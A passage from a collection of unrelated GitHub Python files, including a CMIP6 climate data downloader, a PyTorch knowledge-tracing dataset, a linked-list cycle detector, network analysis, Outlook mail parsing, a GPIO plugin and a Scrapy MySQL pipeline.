meridian, but only\n        # if the first lon isn't around -180 (using 5deg as an approx\n        # biggest grid spacing). This is intended to move [0:180 -180:0]\n        # to [-180:0:180].\n        if ds.lon[0] > -175:\n            ds = ds.roll(lon=(ds.sizes['lon'] // 2), roll_coords=True)\n    elif subset_params['lon_range'] == 360:\n        # Switch to 0:360 longitude if necessary\n        ds = ds.assign_coords(lon=ds.lon % 360)\n        # Change origin to the lon_origin\n        ds = ds.roll(\n            lon=-((ds.lon // subset_params['lon_origin']) == 1).values.nonzero()[0][0], roll_coords=True)\n    return ds\n\n\n# %%\n# Parameters and Variables\n##########################################################################################\n# Get config file\nimport dwnld_config as cfg\n\n# Set whether to regrid 360-day calendars to 365-day calendars\nregrid_360 = False\noverwrite = True\n\n# %%\n# Prepare the full query for all the datasets\n##########################################################################################\n\nsource_calls = np.zeros(len(cfg.data_params_all[0].keys()))\n\nfor key in cfg.data_params_all[0].keys():\n    if len(np.unique([x[key] for x in cfg.data_params_all])) == 1:\n        source_calls[list(cfg.data_params_all[0].keys()).index(key)] = 1\n\n# First get all the ones with the same value for each key\nsubset_query = ' and '.join([k+\" == '\"+cfg.data_params_all[0][k]+\"'\" for k in itemgetter(\n    *source_calls.nonzero()[0])(list(cfg.data_params_all[0].keys()))])\n\n# Now add all that are different between subset params - i.e. those that need an OR statement\n# These have to be in two statements, because if there's only one OR'ed statement, then the\n# for k in statement goes through the letters instead of the keys.\nif len((source_calls-1).nonzero()[0]) == 1:\n    subset_query = subset_query+' and ('+') and ('.join([' or '.join([k+\" == '\"+data_params[k]+\"'\" for data_params in cfg.data_params_all])\n                                                         for k in [itemgetter(*(source_calls-1).nonzero()[0])(list(cfg.data_params_all[0].keys()))]])+')'\nelif len((source_calls-1).nonzero()[0]) > 1:\n    subset_query = subset_query+' and ('+') and ('.join([' or '.join([k+\" == '\"+data_params[k]+\"'\" for data_params in cfg.data_params_all])\n                                                         for k in itemgetter(*(source_calls-1).nonzero()[0])(list(cfg.data_params_all[0].keys()))])+')'\n\n\n# %%\n# Access google cloud storage links\n##########################################################################################\nfs = gcsfs.GCSFileSystem(token='anon', access='read_only')\n# Get info about CMIP6 datasets\ncmip6_datasets = pd.read_csv(\n    'https://storage.googleapis.com/cmip6/cmip6-zarr-consolidated-stores.csv'\n)\n# Get subset based on the data params above (for all search parameters)\ncmip6_sub = cmip6_datasets.query(subset_query)\n\nif len(cmip6_sub) == 0:\n    warnings.warn('Query unsuccessful, no files found!' +\n                  'Check to make sure your table_id matches the domain - for example,' +\n                  'SSTs are listed as \"Oday\" instead of \"day\"')\n\n# # %%\n# # Check variables\n# df = cmip6_datasets.loc[\n#     (cmip6_datasets['source_id'] == 'UKESM1-0-LL') #'CESM2')\n#     & (cmip6_datasets['experiment_id'] == 'piControl')\n#     & (cmip6_datasets['table_id'] == 'Amon')\n# ]\n# df['variable_id'].unique()\n# %%\n# Process by variable and dataset in the subset\n##########################################################################################\nfor data_params in cfg.data_params_all:\n    # Get subset based on the data params above, now just for this one variable\n    cmip6_sub = cmip6_datasets.query(\n        ' and '.join([k+\" == '\"+data_params[k] +\n                     \"'\" for k in data_params.keys() if k != 'other'])\n    )\n\n    for i, cmip6_sub_row in cmip6_sub.iterrows():\n        url = cmip6_sub_row['zstore']\n\n        # Set output filenames\n        output_fns = [None]*len(cfg.pp_params_all)\n        path_exists = [None]*len(cfg.pp_params_all)\n\n        for subset_params in cfg.pp_params_all:\n            # Foldername\n            filedir = (cfg.lpaths['raw_data_dir'] + '/'\n                       + \"cmip6/\" \n                       + cmip6_sub_row['table_id'] + '/'\n                       + cmip6_sub_row['experiment_id'] + '/'\n                       + cmip6_sub_row['source_id'] + '/'\n                       + cmip6_sub_row['variable_id'] + '/'\n                       )\n\n            # Filename \n            fname = (filedir +\n                     cmip6_sub_row['variable_id']\n                     +'_' +cmip6_sub_row['table_id']\n                     +'_' +cmip6_sub_row['source_id']\n                     +'_' +cmip6_sub_row['experiment_id']\n                     +'_' +cmip6_sub_row['member_id'])\n\n            if 'time' in subset_params:\n                fname += '_' + '-'.join(\n                    [re.sub('-', '', t) for t in subset_params['time'][cmip6_sub_row['experiment_id']] ]\n                )\n            if 'fn_suffix' in subset_params:\n                fname += '_' + subset_params['fn_suffix']\n            fname +='.nc'\n            \n            output_fns[cfg.pp_params_all.index(subset_params)] = fname\n\n            # Check if path exists\n            path_exists[cfg.pp_params_all.index(subset_params)] = os.path.exists(\n                output_fns[cfg.pp_params_all.index(subset_params)]\n            )\n\n        # Makes overwriting consistent\n        if (not overwrite) & all(path_exists):\n            warnings.warn('All files already created for ' +\n                          cmip6_sub_row['variable_id']+' ' +\n                          cmip6_sub_row['table_id']+' ' +\n                          cmip6_sub_row['source_id']+' ' +\n                          cmip6_sub_row['experiment_id']+' ' +\n                          cmip6_sub_row['member_id']+', skipped.')\n            continue\n        elif any(path_exists):\n            if overwrite:\n                for subset_params in cfg.pp_params_all:\n                    if path_exists[cfg.pp_params_all.index(subset_params)]:\n                        os.remove(\n                            output_fns[cfg.pp_params_all.index(subset_params)])\n                        warnings.warn(\n                            'All files already exist for ' +\n                            cmip6_sub_row['variable_id']+' ' +\n                            cmip6_sub_row['table_id']+' ' +\n                            cmip6_sub_row['source_id']+' ' +\n                            cmip6_sub_row['experiment_id']+' ' +\n                            cmip6_sub_row['member_id'] +\n                            ', because OVERWRITE=TRUE theses files have been deleted.'\n                        )\n\n        # Open dataset\n        print('Download '+ output_fns[cfg.pp_params_all.index(subset_params)])\n        ds = xr.open_zarr(fs.get_mapper(url), consolidated=True)\n\n        # Preprocessing of downloaded files\n        #################################################################################\n        # Rename to lat / lon\n        try:\n            ds = ds.rename({'longitude': 'lon', 'latitude': 'lat'})\n        except:\n            pass\n\n        # same with 'nav_lat' and 'nav_lon' ???\n        try:\n            ds = ds.rename({'nav_lon': 'lon', 'nav_lat': 'lat'})\n        except:\n            pass\n\n        # Fix coordinate doubling (this was an issue in NorCPM1,\n        # where thankfully the values of the variables were nans,\n        # though I still don't know how this happened - some lat\n        # values were doubled within floating point errors)\n        if 'lat' in ds[data_params['variable_id']].dims:\n            if len(np.unique(np.round(ds.lat.values, 10))) != ds.dims['lat']:\n                ds = ds.isel(lat=(~np.isnan(ds.isel(lon=1, time=1)[\n                             data_params['variable_id']].values)).nonzero()[0], drop=True)\n                warnings.warn(\n                    'Model ' + ds.source_id +\n                    ' has duplicate lat values; attempting to compensate by dropping lat' +\n                    ' values that are nan in the main variable in the first timestep'\n                )\n            if len(np.unique(np.round(ds.lon.values, 10))) != ds.dims['lon']:\n                ds = ds.isel(lon=(~np.isnan(ds.isel(lat=1, time=1)[\n                             data_params['variable_id']].values)).nonzero()[0], drop=True)\n                warnings.warn(\n                    'Model '+ds.source_id+' has duplicate lon values; ' +\n                    'attempting to compensate by dropping lon values that are nan ' +\n                    'in the main variable in the first timestep'\n                )\n\n        if cmip6_sub_row['table_id'] != 'fx':\n            # Sort by time, if not sorted (this happened with\n            # a model; keeping a warning, cuz this seems weird)\n            if (ds.time.values != np.sort(ds.time)).any():\n                warnings.warn('Model '+ds.source_id +\n                              ' has an unsorted time dimension.')\n                ds = ds.sortby('time')\n\n        # If 360-day calendar, regrid to 365-day calendar\n        if regrid_360 and cmip6_sub_row['table_id'] == 'day':\n            if ds.dims['dayofyear'] == 360:\n                # Have to put in the compute() because these\n                # are by default dask arrays, chunked along\n                # the time dimension, and can't interpolate\n                # across dask chunks...\n                ds = ds.compute().interp(dayofyear=(np.arange(1, 366)/365)*360)\n                # And reset it to 1:365 indexing on day of year\n                ds['dayofyear'] = np.arange(1, 366)\n                # Throw in a warning, too, why not\n                warnings.warn('Model ' + ds.source_id +\n                              ' has a 360-day calendar; daily values were ' +\n                              'interpolated to a 365-day calendar')\n\n        # Save by the subsets desired in cfg.pp_params_all above\n        #################################################################################\n        for subset_params in cfg.pp_params_all:\n            # Make sure this file hasn't already been processed\n            if (not overwrite) & path_exists[cfg.pp_params_all.index(subset_params)]:\n                warnings.warn(output_fns[cfg.pp_params_all.index(\n                    subset_params)]+' already exists; skipped.')\n                continue\n\n            # Make sure the target directory exists\n            if not os.path.exists(filedir):\n                os.makedirs(filedir)\n                warnings.warn('Directory ' + filedir+' created!')\n\n            # Fix longitude (by setting it to either [-180:180]\n            # or [0:360] as determined by subset_params, and\n            # to roll them so the correct range is consecutive\n            # in lon (so if you're looking at the Equatorial\n            # Pacific, make it 0:360, with the first lon value\n            # at 45E).\n            try:\n                ds_tmp = fix_lons(ds, subset_params)\n            except:\n                ds_tmp = ds\n                warnings.warn(\n                    'fix_lons did not work because of the multi-dimensional index'\n                )\n\n            if cmip6_sub_row['table_id'] not in ['fx', 'piControl']:\n                # Subset by time as set in subset_params\n                if 'time' in subset_params:\n                    time_range = subset_params['time'][cmip6_sub_row['experiment_id']]\n                else:\n                    time_range = [str(ds.time.min().dt.strftime(\"%Y-%m-%d\").data),\n                                  str(ds.time.max().dt.strftime(\"%Y-%m-%d\").data)]\n\n                if (ds.time.max().dt.day == 30) | (type(ds.time.values[0]) == cftime._cftime.Datetime360Day):\n                    # (If it's a 360-day calendar, then subsetting to \"12-31\"\n                    # will throw an error; this switches that call to \"12-30\")\n                    # Also checking explicitly for 360day calendar; some monthly\n                    # data is still shown as 360-day even when it's monthly, and will\n                    # fail on date ranges with date 31 in a month\n                    ds_tmp = (ds_tmp.sel(time=slice(\n                        time_range[0], re.sub('-31', '-30', time_range[1])\n                        )))\n                else:\n                    ds_tmp = (ds_tmp.sel(time=slice(*time_range)))\n\n            # Save as NetCDF file\n            try:\n                ds_tmp.to_netcdf(\n                    output_fns[cfg.pp_params_all.index(subset_params)])\n                    \n                # Status update\n                print(output_fns[cfg.pp_params_all.index(\n                    subset_params)]+' processed!')\n            except:\n                print(f\"Could not save processed file {output_fns[cfg.pp_params_all.index(subset_params)]}\")\n                continue\n\n\n        del ds, ds_tmp, subset_params\n\n\n# %%\n","repo_name":"jakob-schloer/clida","sub_path":"download_cmip6.py","file_name":"download_cmip6.py","file_ext":"py","file_size_in_byte":14795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"30118254809","text":"import gc\nimport pickle\nimport random\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset\n\nclass Riiid_Sequence(Dataset):\n    def __init__(self, groups, seq_len):\n        self.samples = {}\n        self.seq_len = seq_len\n        self.user_ids = []\n\n        for user_id in groups.index:\n            c_id, part, t_c_id, t_lag, q_et, ans_c, q_he, u_ans = groups[user_id]\n            if len(c_id) < 2:\n                continue\n\n            if len(c_id) > self.seq_len:\n                initial = len(c_id) % self.seq_len\n                if initial > 2:\n                    self.user_ids.append(f\"{user_id}_0\")\n                    self.samples[f\"{user_id}_0\"] = (\n                        c_id[:initial], part[:initial], t_c_id[:initial], t_lag[:initial], \n                        q_et[:initial], ans_c[:initial], q_he[:initial], u_ans[:initial]\n                    )\n                chunks = len(c_id)//self.seq_len\n                for c in range(chunks):\n                    start = initial + c*self.seq_len\n                    end = initial + (c+1)*self.seq_len\n                    self.user_ids.append(f\"{user_id}_{c+1}\")\n                    self.samples[f\"{user_id}_{c+1}\"] = (\n                        c_id[start:end], part[start:end], t_c_id[start:end], t_lag[start:end], \n                        q_et[start:end], ans_c[start:end], q_he[start:end], u_ans[start:end]\n                    )\n            else:\n                self.user_ids.append(f\"{user_id}\")\n                self.samples[f\"{user_id}\"] = (c_id, part, t_c_id, t_lag, q_et, ans_c, q_he, u_ans)\n\n    def __len__(self):\n        return len(self.user_ids)\n    \n    def __getitem__(self, index):\n        user_id = self.user_ids[index]\n        c_id, p, t_c_id, t_lag, q_et, ans_c, q_he, u_ans = self.samples[user_id]\n        seq_len = len(c_id)\n        \n        content_ids = np.zeros(self.seq_len, dtype=int)\n        parts = np.zeros(self.seq_len, dtype=int)\n        task_container_ids = np.zeros(self.seq_len, dtype=int)\n        time_lag = np.zeros(self.seq_len, dtype=float)\n        ques_elapsed_time = np.zeros(self.seq_len, dtype=float)\n        answer_correct = np.zeros(self.seq_len, dtype=int)\n        ques_had_explian = np.zeros(self.seq_len, dtype=int)\n        user_answer = np.zeros(self.seq_len, dtype=int)\n        label = np.zeros(self.seq_len, dtype=int)\n  \n        if seq_len == self.seq_len:\n            content_ids[:] = c_id\n            parts[:] = p\n            task_container_ids[:] = t_c_id\n            time_lag[:] = t_lag\n            ques_elapsed_time[:] = q_et\n            answer_correct[:] = ans_c\n            ques_had_explian[:] = q_he\n            user_answer[:] = u_ans\n        else:\n            content_ids[-seq_len:] = c_id\n            parts[-seq_len:] = p\n            task_container_ids[-seq_len:] = t_c_id\n            time_lag[-seq_len:] = t_lag\n            ques_elapsed_time[-seq_len:] = q_et\n            answer_correct[-seq_len:] = ans_c\n            ques_had_explian[-seq_len:] = q_he\n            user_answer[-seq_len:] = u_ans\n           \n        content_ids = content_ids[1:]\n        parts = parts[1:]\n        task_container_ids = task_container_ids[1:]\n        time_lag = time_lag[1:]\n        ques_elapsed_time = ques_elapsed_time[1:]\n        label = answer_correct[1:] - 1\n        label = np.clip(label, 0, 1)\n        \n        answer_correct = answer_correct[:-1]\n        ques_had_explian = ques_had_explian[1:]\n        user_answer = user_answer[:-1]\n\n        return content_ids, parts, time_lag, ques_elapsed_time, answer_correct, ques_had_explian, user_answer, label","repo_name":"Chang-Chia-Chi/SaintPlus-Knowledge-Tracing-Pytorch","sub_path":"data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"35"}
{"seq_id":"41240649008","text":"#   环形链表 II\n# 给定一个链表，返回链表开始入环的第一个节点。 如果链表无环，则返回 null。\n#\n# 说明：不允许修改给定的链表。\n#\n# 进阶：\n# 你是否可以不用额外空间解决此题？\n\n\n# Definition for singly-linked list.\nclass ListNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\nclass Solution(object):\n    def detectCycle(self, head):\n        \"\"\"\n        :type head: ListNode\n        :rtype: ListNode\n        \"\"\"\n        if head == None or head.next == None:\n            return None\n        fast = head\n        slow = head\n        while fast and fast.next:\n            fast = fast.next.next\n            slow = slow.next\n\n            if fast == slow:\n                break\n        if fast == None or fast.next == None:\n            return None\n        slow = head\n        while slow != fast:\n            slow = slow.next\n            fast = fast.next\n        return slow\n# 不是随便做一下快满指针，找到碰撞点，是入环的第一个点\n\n\n\n\np1 = ListNode(4)\np2 = ListNode(5)\np3 = ListNode(1)\np4 = ListNode(9)\np1.next = p2\np2.next = p3\np3.next = p4\np4.next = p2\nhead = p1\n\n\n\ns = Solution()\nnode = s.detectCycle(p1)\nif node:\n    print('ret:',node.val)\nelse:\n    while head != None:\n        print(head.val)\n        head = head.next\n\n","repo_name":"huqinwei/leetcode","sub_path":"detectCycle.py","file_name":"detectCycle.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2362955950","text":"import numpy as np\nimport networkx as nx\nimport pylab as plt\nfrom mynetlibs.measures import NetworkMeasures\nfrom networkx.algorithms import bipartite\n\n# Prints the chosen measures of network G\ndef get_measures(G):\n    nm = NetworkMeasures(G)\n    print('Average betweenness = ', nm.betweenness())\n    print('Average clustering coefficient = ', nm.clustering())\n    print('Transitivity = ', nm.transitivity())\n    print('Assortativity = ', nm.assortativity())\n    print('Average shortest path length - ', nm.avg_shortest_path_len())\n    print('2nd moment of degree distribution = ', nm.moment_degree_distrib(2)) \n    print('Shannon Entropy of degree distribution = ', nm.shannon_entropy()) \n    nm.degree_distrib_plot()\n\n# Getting input network (adjacency matrix) from txt\nfile_name = \"bromelias.txt\"\nnetwork_name = '.'.join(file_name.split('.')[:-1]) if '.' in file_name else file_name\nB = np.loadtxt(file_name, dtype=int)\nis_bp = False\n\ntry:\n    G = nx.Graph(B) \nexcept nx.exception.NetworkXError: # if matrix is not square (bipartite), exception will occur \n    is_bp = True\nelse:\n    if bipartite.is_bipartite(G) is True:\n        is_bp = True\n\nif is_bp is False:\n    \"\"\" UNIPARTITE NETWORK \"\"\"\n\n    # Getting the measures and drawing the network\n    G = nx.Graph(B)\n    get_measures(G)\n    nx.draw(G)\n    plt.savefig(\"graph.png\")\n    plt.show()\n\nelse:\n    \"\"\" BIPARTITE NETWORK \"\"\"\n\n    # Constructing graph, adding and labeling nodes\n    G = nx.Graph()\n    a = ['a'+str(i) for i in range(B.shape[0])]\n    b = ['b'+str(j) for j in range(B.shape[1])]\n    G.add_nodes_from(a, bipartite=0)\n    G.add_nodes_from(b, bipartite=1)\n\n    # Adding edges\n    r, c = np.where(B != 0)\n    for i, j in zip(r, c):\n        G.add_edge(a[i], b[j])\n\n    # Drawing bipartite network\n    r_set, c_set = bipartite.sets(G)\n    pos = dict()\n    pos.update( (n, (1, i)) for i, n in enumerate(r_set) ) # put nodes from r_set at x=1\n    pos.update( (n, (2, i)) for i, n in enumerate(c_set) ) # put nodes from c_set at x=2\n    #plt.title(\"Bipartite graph\")\n    (plt.gcf()).canvas.set_window_title('Bipartite graph')\n    nx.draw(G, pos=pos, with_labels=True)\n    nx.draw_networkx_nodes(G, pos, nodelist=r_set, node_color='r', node_size=500, alpha=1.0)\n    nx.draw_networkx_nodes(G, pos, nodelist=c_set, node_color='b', node_size=500, alpha=0.8)\n    plt.savefig(network_name + '-bipartite-graph.png')\n    plt.show()\n\n    # Drawing rows set projection\n    Pr = bipartite.weighted_projected_graph(G, list(r_set))\n    plt.title('Rows Set Projection')\n    (plt.gcf()).canvas.set_window_title('Rows Set Projection')\n    pos=nx.spring_layout(Pr)\n    nx.draw(Pr,pos,with_labels=True)\n    labels = nx.get_edge_attributes(Pr,'weight')\n    nx.draw_networkx_edge_labels(Pr,pos,edge_labels=labels)\n    plt.savefig(network_name + '-row-projection-graph.png')\n    plt.show()\n\n    # Drawing columns set projection \n    Pc = bipartite.weighted_projected_graph(G, list(c_set))\n    plt.title('Columns Set Projection')\n    (plt.gcf()).canvas.set_window_title('Columns Set Projection')\n    pos=nx.spring_layout(Pc)\n    nx.draw(Pc, with_labels=True)\n    labels = nx.get_edge_attributes(Pc,'weight')\n    #nx.draw_networkx_edge_labels(Pc,pos,edge_labels=labels)\n    plt.savefig(network_name + '-col-projection-graph.png')\n    plt.show()\n\n    # Getting measures from the row and col projections\n    print(\"\\nROW SET PROJECTION MEASURES\")\n    get_measures(Pr)\n    print(\"\\nCOLUMN SET PROJECTION MEASURES\")\n    get_measures(Pc)\n\n\"\"\" # Passando nome de arquivo como parametro\nfname = input()\nwith open(fname, 'r') as f:\n    count = 0 \n    read_data = f.readline()\n    while(read_data):\n        print(len(read_data))\n        count += 1\n        read_data = f.readline()\n    print(\"count \", count)\n# B = np.genfromtxt(fname)\n\"\"\"\n","repo_name":"matheuscabrini/Interaction-Networks-Analysis","sub_path":"bipartite.py","file_name":"bipartite.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23712794652","text":"# -*- coding: utf-8 -*-\n\nfrom openerp import fields, models, api\n\n\nclass PurchaseRequisition(models.Model):\n    _inherit = \"purchase.requisition\"\n\n    cancel_reason_txt = fields.Char(\n        string=\"Description\",\n        readonly=True,\n        size=500,\n    )\n\n    @api.model\n    def recompute_request_line_state(self):\n        for req_line in self.line_ids:\n            for request_lines in req_line.purchase_request_lines:\n                [request_line._get_requisition_state() for request_line in\n                 request_lines]\n        return True\n","repo_name":"ecosoft-odoo/pb2_addons","sub_path":"purchase_requisition_cancel_reason/models/purchase_requisition.py","file_name":"purchase_requisition.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"38950716564","text":"from asyncore import loop\nfrom concurrent.futures import process\nfrom email import header\nimport os\nfrom pickle import TRUE\nimport time\nfrom tokenize import group\nfrom win32com.client.gencache import EnsureDispatch as Dispatch\nimport re\nfrom urllib import parse as urlParse\nfrom urllib import request as urlRequest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.common.exceptions import StaleElementReferenceException\nfrom bs4 import BeautifulSoup as bs\n\ncampaignSet = set()\ndef getUnreadMails():\n    outlook = Dispatch(\"Outlook.Application\")\n    mapi = outlook.GetNamespace(\"MAPI\")\n    Accounts = mapi.Folders  # 根级目录（邮箱名称，包括Outlook读取的存档名称）\n    for Account_Name in Accounts:\n        if Account_Name.Name != \"xr08255920@gmail.com\":\n            continue\n        print(' >> 正在查询的帐户名称：', Account_Name.Name, '\\n')\n        L1Foloders = Account_Name.Folders\n        for L1 in L1Foloders:\n            if L1.Name == \"私人邮件\":\n                L2Folders = L1.Folders\n                for L2 in L2Folders:\n                    if L2.Name == \"pinterest\":\n                        mails = L2.Items\n                        break\n                break\n    print(len(mails))\n    mails.Sort(\"ReceivedTime\", True)\n    return mails\n\ndef traverseMails(mails):\n    mail = mails.GetFirst()\n    while(mail != None):\n        processMail(mail)\n        mail = mails.GetNext()\n\ndef processMail(mail):\n     mailContent = mail.Body\n     urls = getURLsFromContent(mailContent)\n     for url  in urls:\n         processUrl(url)\n\ndef processUrl(url):\n    if(not re.search(\"utm_campaign\",url)):\n        return\n    query = urlParse.urlparse(url).query\n    result = None\n    count = 0\n    while(not result and count < 5):\n        query = urlParse.unquote_plus(query)\n        result = re.search(\"utm_campaign=(.+?)&\",query)\n        count+=1\n\n    if result:\n        campaignSet.add(result.group(1))\n\ndef getURLsFromContent(mailContent):\n    result = re.findall(\"<https://.*?>\", mailContent)\n    urlset = set()\n    for i in result:\n        urlset.add(i[1:-1])\n    return urlset\n\nmails = getUnreadMails()\ntraverseMails(mails)\nprint(campaignSet)","repo_name":"donnieYeh/picCrawler","sub_path":"getCategory.py","file_name":"getCategory.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40705718211","text":"from base import PluginBase\ntry:\n    import RPi.GPIO as pyGPIO\n    supported = True\nexcept:\n    supported = False\nimport re\nimport logging\nlogger = logging.getLogger(__name__)\n\nclass GPIOPlugin(PluginBase):\n    available = False\n    commands = ['gpio', 'pin']\n    pins = {}\n    socket = None\n    available = [3,5,7,8,10,11,12,13,15,16,18,19,21,22,23,24,26,32,36,38,40,29,31,33,35,37 ]\n\n    def __init__(self, socket):\n        logger.debug(\"Initializing...\")\n        if supported == False:\n            logger.warn(\"This CPU is not supported, ignoring messages\")\n        else:\n            pyGPIO.setmode(pyGPIO.BOARD)\n            pyGPIO.setwarnings(False)\n            pyGPIO.cleanup()\n            self._initpins()\n            self.socket = socket\n            logger.info(\"Initialized succesful\")\n\n    def _initpins(self):\n        for pin in self.available:\n            self.pins[pin] = {'type': None, 'state': None}\n\n    def receive(self, message):\n        if not supported:\n            return False\n\n        # check if we need to process this command\n        if any(command in message for command in self.commands):\n            logger.debug('acting on: %s' % message)\n            message = message.replace('broadcast ', '')\n            message = message.replace('\"','')\n            message = message.lower()\n            matches = re.search('(pin|gpio) ?(?P<no>[0-9]+).(?P<value>on|1|off|0|high|low)', str(message.strip()))\n            if matches:\n                self.pin(no=matches.groupdict(0)['no'], value=matches.groupdict(0)['value'])\n        else:\n            logger.debug('ignoring: %s' % message.strip())\n\n    def tick(self):\n        # make sure we check the socket\n        super(GPIOPlugin, self).tick()\n\n        if not supported:\n            return False\n        # check all pin states\n        for no, pin in self.pins.items():\n            if pin['type'] != pyGPIO.OUT:\n                state = self.pin(no)\n                if pin['state'] != state:\n                    self.pins[no]['state'] = state\n                    cmd = 'sensor-update \"pin %s\" %s' % (no, state)\n                    self.send(cmd)\n\n    def pin(self, no, value=None):\n        no = int(no)\n        if value:\n            high = ['on','1', 'high']\n            low = ['off','0','low']\n            if value in high:\n                value = pyGPIO.HIGH\n            if value in low:\n                value = pyGPIO.LOW\n            logger.debug(\"Setting Pin %s to %s\" % (no, value))\n            # if we're sending data, mark this channel as output\n            self.pins[no]['type'] = pyGPIO.OUT\n            pyGPIO.setup(no, pyGPIO.OUT)\n            pyGPIO.output(no, value)\n        else:\n            self.pins[no]['type'] = pyGPIO.IN\n            pyGPIO.setup(no, pyGPIO.IN)\n\n            return pyGPIO.input(no)\n","repo_name":"bendoobox/scratch-ext","sub_path":"scratch-ext/plugins/gpio.py","file_name":"gpio.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15659060965","text":"from pelican import signals\n\ntry:\n    from pelican.contents import Article, Draft, Page\n    PAGE_TYPES = (Article, Draft, Page)\nexcept ImportError:\n    # Older versions of Pelican don't have the Draft class\n    from pelican.contents import Article, Page\n    PAGE_TYPES = (Article, Page)\n\nfrom pelican.generators import ArticlesGenerator\nfrom bs4 import BeautifulSoup\n\n\ndef images_extraction(instance):\n    representativeImage = None\n    if type(instance) in PAGE_TYPES:\n        if 'image' in instance.metadata:\n            representativeImage = instance.metadata['image']\n\n        # Process Summary:\n        # If summary contains images, extract one to be the representativeImage and remove images from summary\n        soup = BeautifulSoup(instance.summary, 'html.parser')\n        images = soup.find_all('img')\n        for i in images:\n            if not representativeImage:\n                representativeImage = i['src']\n            i.extract()\n        if len(images) > 0:\n            # set _summary field which is based on metadata. summary field is only based on article's content and not settable\n            instance._summary = soup\n\n        # If there are no image in summary, look for it in the content body\n        if not representativeImage:\n            soup = BeautifulSoup(instance._content, 'html.parser')\n            imageTag = soup.find('img')\n            if imageTag:\n                representativeImage = imageTag['src']\n\n        # Set the attribute to content instance\n        instance.featured_image = representativeImage\n\n\ndef run_plugin(generators):\n    for generator in generators:\n        if isinstance(generator, ArticlesGenerator):\n            for article in generator.articles:\n                images_extraction(article)\n\n\ndef register():\n    try:\n        signals.all_generators_finalized.connect(run_plugin)\n    except AttributeError:\n        # NOTE: This results in #314 so shouldn't really be relied on\n        # https://github.com/getpelican/pelican-plugins/issues/314\n        signals.content_object_init.connect(images_extraction)\n","repo_name":"isislovecruft/patternsinthevoid","sub_path":"plugins/representative_image.py","file_name":"representative_image.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"35"}
{"seq_id":"72825794340","text":"\nclass ImageDAO:\n\t@staticmethod\n\tdef testGridFS(form_keys):\n\t\tfrom gridfs import GridFS\n\n\t\tclient = pymongo.MongoClient(MONGODB_URI)\n\t\tdb = client[DEFAULT_DB]\n\t\t\n\t\tfs = GridFS(db)\n\t\tgridin = fs.new_file(_id=2, chunk_num=2)\n\t\twith client.start_request():\n\t\t\tfor i in range(len(form_keys)):\n\t\t\t\tgridin.write(form_keys[i].encode('UTF-8'))\n\t\tclient.close()\n\n\t@staticmethod\n\tdef storeImagePiece(imgp):\n\t\tclient = pymongo.MongoClient(MONGODB_URI)\n\t\tdb = client[DEFAULT_DB]\n\t\t\n\t\tcollection = db['bus_images']\n\t\t#img_chunk = base64.b64encode(imgp)\n\t\timage = [\t\t\t\n\t\t\t{'time': datetime.datetime.utcnow(), 'image': img_chunk}\n\t\t]\t\t\n\t\t\n\t\tcollection.insert(image)\n\n\t\tclient.close()\n\t\n","repo_name":"jump3r/ShuttleBusWeb","sub_path":"imageDAO.py","file_name":"imageDAO.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40017917488","text":"# create a 300x300 canvas.\n# create a square drawing function that takes 1 parameter:\n# the square size\n# and draws a square of that size to the center of the canvas.\n# create a loop that draws 20 squares with that function.\n\nfrom tkinter import *\n\nroot = Tk()\n\ncanvas_width = 300\ncanvas_height = 300\n\ncanvas = Canvas(root, width = canvas_width, height = canvas_height)\ncanvas.pack()\n\ndef draw_square20(square_size):\n    x = 1\n    for i in range(1, 21):\n        rect = canvas.create_rectangle(canvas_width/2 - (square_size/2 + x), canvas_height/2 - (square_size/2 + x), canvas_width/2 + (square_size/2) + x, canvas_height/2 + (square_size/2 + x))\n        x += 2\n\ndraw_square20(10)\n\nroot.mainloop()\n","repo_name":"greenfox-velox/DDL","sub_path":"week-04/day5/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42022174621","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nimport pymysql\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass TencentPipeline:\n    coon = None\n    cursor = None\n\n    def open_spider(self, spider):\n        print('爬虫开始')\n        self.coon = pymysql.Connect(\n            host='127.0.0.1',\n            port=3306,\n            db='mydb',\n            user='root',\n            password='123456'\n        )\n\n    def process_item(self, item, spider):\n        self.cursor = self.coon.cursor()\n        try:\n            print('正在保存{}'.format(item[\"name\"]))\n            sql = \"insert into tx(name,duty,request,addr) values(%s,%s,%s,%s)\"\n            params = [(item[\"name\"], item[\"duty\"], item[\"request\"], item[\"addr\"])]\n            self.cursor.executemany(sql,params)\n            self.coon.commit()\n            return item\n        except Exception as e:\n            logger.error(e)\n            self.coon.rollback()\n\n    def close_spider(self, spider):\n        self.cursor.close()\n        self.coon.close()\n        